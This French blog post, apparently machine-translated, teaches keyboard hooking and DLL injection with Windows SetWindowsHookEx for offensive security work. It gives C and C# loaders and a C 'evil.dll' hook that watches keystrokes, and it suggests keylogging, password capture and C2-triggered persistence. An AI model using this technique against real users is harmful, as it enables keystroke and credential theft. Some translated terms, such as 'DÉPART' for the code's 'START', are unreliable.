Mettre nos crochets dans les fenêtres

Nous sommes de retour avec un autre article sur les techniques courantes de malveillance. Cette fois-ci, nous parlons de la mise en place de crochets Windows. Il s’agit d’une technique simple qui peut être utilisée pour enregistrer les frappes au clavier ou injecter du code dans des processus distants. Nous utiliserons l’outil SetWindowsHookEx pour enregistrer une fonction qui sera appelée chaque fois qu’un événement est déclenché.

Nous démontrerons cette méthode en C et en C# comme nous l’avons fait dans les billets précédents.

1.1 Comment cela fonctionne-t-il ?

Cette attaque fonctionne en utilisant le système d’exploitation Windows SetWindowsHookEx . Cette fonction permet au programmeur d’indiquer à Windows d’ajouter une procédure de crochet spécifiée dans une chaîne de crochets. Un exemple serait d’accrocher la procédure WH_KEYBOARD pour créer un enregistreur de frappe.

Chaque fois qu’une touche est enfoncée ou relâchée, un message est placé dans une liste ou une chaîne de messages connue sous le nom de chaîne de crochets. Chaque maillon de la chaîne traite le message et le transmet au maillon suivant. La fonction d’écoute peut alors stocker les frappes en mémoire, sur disque ou les envoyer à un serveur C2.

Les paramètres de la fonction SetWindowsHookEx sont présentés ci-dessous.

HHOOK SetWindowsHookExA(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);
  • idHook est le type de crochet à ajouter. Il existe une liste de 14 types de crochets différentsbien que certains soient dépréciés dans les fenêtres plus récentes. Dans le cadre de notre étude, nous allons nous concentrer sur les WH_KEYBOARD type de crochet. Celui-ci signalera à notre fonction définie par l’application chaque fois qu’un événement clavier sera déclenché.
  • lpfn est un pointeur vers la fonction définie par l’application qui sera appelée lorsque l’événement sera déclenché. Cette fonction doit contenir les paramètres suivants : nCode, wParamet lParam.
  • hmod est un pointeur vers la bibliothèque contenant la fonction définie par l’application. Dans notre cas, il s’agira d’une DLL malveillante chargée sur le système cible. Nous utiliserons un nom évident appelé evil.dll.
  • dwThreadID est l’identifiant du fil de discussion auquel le crochet doit être lié. Ce paramètre avec la valeur de 0 (zéro)sur les ordinateurs de bureau, ajoutera ce crochet à tous les threads s’exécutant sur le bureau, et pas seulement au thread en cours.

Une fois que le crochet a été ajouté au chaîne de crochetsla DLL enregistrée sera chargée dans tout processus qui déclenche l’événement de ce crochet. Ainsi, tout processus sur lequel une touche est pressée exécutera notre code malveillant. L’image suivante montre un point d’arrêt X64dbg défini lorsqu’une nouvelle DLL est chargée. Le débogueur a été attaché à Microsoft Notepad.exe après le démarrage du processus malveillant. Il a été vérifié que le point d’arrêt evil.dll n’a pas été chargé dans l’espace mémoire du Bloc-notes. Ensuite, la saisie d’un seul caractère dans l’application Notepad a provoqué l’apparition de l’erreur « evil dll ». evil.dll à charger dans cet espace mémoire et à exécuter.

Figure 1 – Notepad Chargement de evil.dll

1.2 Démonstration du code en C et C#

Nous commencerons par un exemple en C. Cet exemple est très petit et, en soi, bénin. L’exemple commence par le chargement d’une bibliothèque en mémoire. Il faut ensuite trouver l’adresse de l’une de ses fonctions. Les adresses de la bibliothèque et de la fonction sont ensuite utilisées dans la fonction SetWindowsHookEx appel de la fonction. Les dernières lignes de l’exemple empêchent le programme de se terminer jusqu’à ce que nous soyons prêts. Dès que le programme se terminera, le crochet que nous avons ajouté sera supprimé.

 04 int main( int argc, char* argv[] )                                              
 05 {                                                                               
 06     HMODULE library = LoadLibrary("evil.dll");                                  
 07     HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "evil_func");         
 08     HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);           
 09     char option;                                                                
 10     printf("Enter 'q' to exit\n");                                              
 11     do                                                                          
 12     {                                                                           
 13         option = getchar ();                                                    
 14     }                                                                           
 15     while (option != 'q');                                                      
 16 }
  • Ligne 6 : Charge la bibliothèque demandée dans l’espace mémoire actuel et renvoie son adresse.
  • Ligne 7 : Recherche dans la bibliothèque chargée une fonction portant le nom evil_func. Une fois trouvé, il renvoie son adresse mémoire
  • Ligne 8 : Ajoute un crochet au chaîne_crochet pour les claviers utilisant la chaîne SetWindowsHookEx fonction.
  • Lignes 10-15 : Maintient le programme ouvert jusqu’à ce que l’utilisateur saisisse le caractère q. Ceci est nécessaire car lorsque le programme se termine, le crochet ajouté est supprimé.

Ensuite, nous allons parler de la DLL elle-même. Cet exemple est écrit en C mais pourrait également être écrit en C#. L’exemple de DLL diabolique contient deux fonctions : DLLMain et evil_func. DLLMain est utilisé lorsque la bibliothèque est appelée pour la première fois. La evil_func est utilisé pour effectuer nos tâches les plus néfastes. Dans ce cas, la fonction evil_func est programmé pour écouter les frappes jusqu’à ce qu’il détecte la chaîne de caractères DÉPARTpuis il affiche un message à l’intention de l’utilisateur. C’est plutôt bénin, mais cela pourrait toutefois être utilisé pour enregistrer les frappes au clavier puisque la fonction sera appelée au moins une fois à chaque pression de touche. D’autres utilisations pourraient inclure un mécanisme de persistance qui ne sera déclenché que lorsqu’une séquence de touches spécifique aura été tapée. Imaginons que l’attaquant connaisse la structure du nom d’utilisateur de la cible et veuille s’emparer des mots de passe. Il pourrait se déclencher sur « @TRUSTEDSEC.COM » si les noms d’utilisateur incluent les adresses électroniques. Cette méthode pourrait également être utilisée comme méthode de persistance, où le logiciel malveillant attend qu’une séquence de touches spécifique se déclenche et se connecte ensuite à un C2 pour télécharger le principal paquet de communication.

04 char lastKey = 0;                                                               
 05 char str[6];                                                                    
 06 int  str_len = 0;                                                               
 07                                                                                 
 08 __declspec(dllexport) LRESULT CALLBACK  evil_func( int nCode, WPARAM wParam, LPARAM lParam )
 09 {                                                                               
 10     char l_str[200];                                                            
 11     if (lastKey == (char) wParam) goto END;                                     
 12     lastKey = (char)wParam;                                                     
 13     if (str_len < 5)                                                            
 14     {                                                                           
 15         str[str_len] = lastKey;                                                 
 16         str_len += 1;                                                           
 17     } else                                                                      
 18     {                                                                           
 19         strncpy(str, str+1,4);                                                  
 20         str[str_len-1] = lastKey;                                               
 21     }                                                                           
 22     if (strncmp(str, "START", 5) == 0)                                          
 23     {                                                                           
 24         sprintf(l_str, "Malware is running now, str (%s)", str );               
 25         int msgboxID = MessageBox( NULL, l_str, "Are you sure?", MB_OKCANCEL);  
 26     }                                                                           
 27 END:                                                                            
 28     return CallNextHookEx( NULL, nCode, wParam, lParam );                       
 29 }                                                                               
 30                                                                                 
 31 bool __stdcall DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 
 32 {                                                                               
 33     switch( dwReason )                                                          
 34     {                                                                           
 35         case DLL_PROCESS_ATTACH:                                                
 36             memset(str,0,6);                                                    
 37             break;                                                              
 38     }                                                                           
 39     return TRUE;                                                                
 40 }
  • Lignes 4-6 : Mise en place de variables globales utilisées par les fonctions à chaque fois qu’elles sont appelées afin de garder une trace des entrées précédentes.
  • Ligne 8 : Prototype de la fonction. Ncode est le code utilisé par le crochet pour traiter le message. Spécifie ce que les prochains paramètres contiendront. wParam est le code de la touche enfoncée. Le code lParam contient les drapeaux du message. Ils comprennent des éléments tels que le nombre de répétitions, le code de balayage, etc.
  • Ligne 10 : crée un espace mémoire sur la pile pour stocker un message sous forme de chaîne de caractères.
  • Ligne 11 : compare la nouvelle touche à la dernière. Ceci est utilisé pour filtrer les doubles soumissions, les pressions de touches, les relâchements de touches. Si c’est la même chose, il ne fait rien et renvoie
  • Ligne 12 : Sauvegarde la touche actuelle dans la dernière touche globale
  • Lignes 13-21 : Vérifie la longueur du tampon de la chaîne globale. S’il contient moins de 5 caractères, ajoutez le nouveau caractère. Si elle est supérieure à 5 caractères, décaler les caractères d’une unité vers la gauche et ajouter le nouveau caractère à la fin.
  • Lignes 22-26 : Vérifier si le tampon de la chaîne globale contient le mot DÉPART. Si c’est le cas, générez une boîte de message. Dans le cas contraire, ne faites rien.
  • Lignes 27-28 : Nettoie la fonction en appelant la fonction suivante dans le clavier chaîne de crochets puis de quitter la fonction.
  • Lignes 31-40 : Il s’agit de la fonction principale de la DLL qui est utilisée lors du premier chargement de la bibliothèque. Dans le cas présent, nous l’utilisons uniquement pour mettre la chaîne globale à zéro.

L’exemple C# et la version C sont très similaires, à l’exception du fait que nous devons envelopper les appels à l’API Windows dans des classes déclarées non sûres et utiliser une fonction d’enveloppement pour déclarer les API Windows utilisées.

 07 namespace dll_sethook                                                           
 08 {                                                                               
 09     unsafe class Program                                                        
 10     {                                                                           
 11         static void Main(string[] args)                                         
 12         {                                                                       
 13             IntPtr libAddr =  Win32.LoadLibrary("evil.dll");                    
 14             IntPtr evilAddr = Win32.GetProcAddress(libAddr, "evil_func");       
 15                                                                                 
 16             IntPtr hook = Win32.SetWindowsHookEx(Win32.HookType.WH_KEYBOARD, evilAddr, libAddr, 0);
 17                                                                                 
 18             Console.WriteLine("Press 'q' to exit");                             
 19             while (Console.ReadKey().Key != ConsoleKey.Q) {}                    
 20         }                                                                       
 21     }                                                                           
 22 }
  • Ligne 9 : Indique à C# que la classe entière est « unsafe » et qu’elle utilisera des fonctions et de la mémoire en dehors de l’usage standard de C#.
  • Ligne 13 : Utilisation d’une classe d’aide Win32 pour charger la définition de la fonction de LoadLibrary pour charger la bibliothèque evil.dll dans l’espace mémoire du programme et renvoie l’adresse mémoire de la bibliothèque chargée.
  • Ligne 14 : réutilisation de la classe d’aide pour accéder à l’élément GetProcAddress pour trouver l’adresse de la fonction du evil_func dans la bibliothèque chargée.
  • Ligne 16 : Ajoute un crochet à l’élément chaîne_crochet pour les claviers utilisant la chaîne SetWindowsHookEx fonction.
  • Lignes 18-19 : Le programme reste ouvert jusqu’à ce que l’utilisateur saisisse le caractère q. Ceci est nécessaire car lorsque le programme se termine, le crochet ajouté est supprimé.

1.3 Inverser le code

Le code C dont nous avons parlé précédemment a été compilé en un exécutable Windows 64 bits à l’aide de MinGW, puis désassemblé et décompilé à l’aide de Ghidra. Comme vous pouvez le voir ci-dessous, le code source généré par Ghidra est très proche de l’original.

Figure 2 – Code C décompilé par Ghidra

L’outil permet d’inverser facilement la plupart des codes C#, dnSpy. Il existe des méthodes pour cacher ou corrompre le fichier .exe afin que dnSpy ne puisse pas le décompiler, mais pour la plupart, les attaquants ne vont pas aussi loin.

Pour charger l’exécutable dans dnSpy, il suffit de le faire glisser et de le déposer dans le volet de gauche. Une fois chargé, le volet fournit une liste arborescente des composants du fichier .exe.

L’image suivante est la décomposition de l’exemple de crochet C# tel qu’il apparaît dans dnSpy. Encore une fois, elle est très proche de l’original.

Figure 3 – Code source généré par DnSpy pour la fonction principale
Figure 4 – Code source généré par DnSpy pour l’appel de la fonction API

1.4 Conclusion

L’utilisation de l’outil SetWindowsHookEx est une façon amusante d’illustrer le Keystroke logger, car lorsque le crochet est installé, il surveille tous les événements liés à la frappe, et pas seulement ceux du processus d’origine. Cette fonction peut également être utilisée pour injecter des DLL malveillantes dans des processus distants, mais elle est limitée aux processus appartenant à l’utilisateur actuel. Dans le passé, cette méthode d’injection a été détectée par plusieurs produits de sécurité et doit être testée en laboratoire avant d’être utilisée dans un environnement client.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *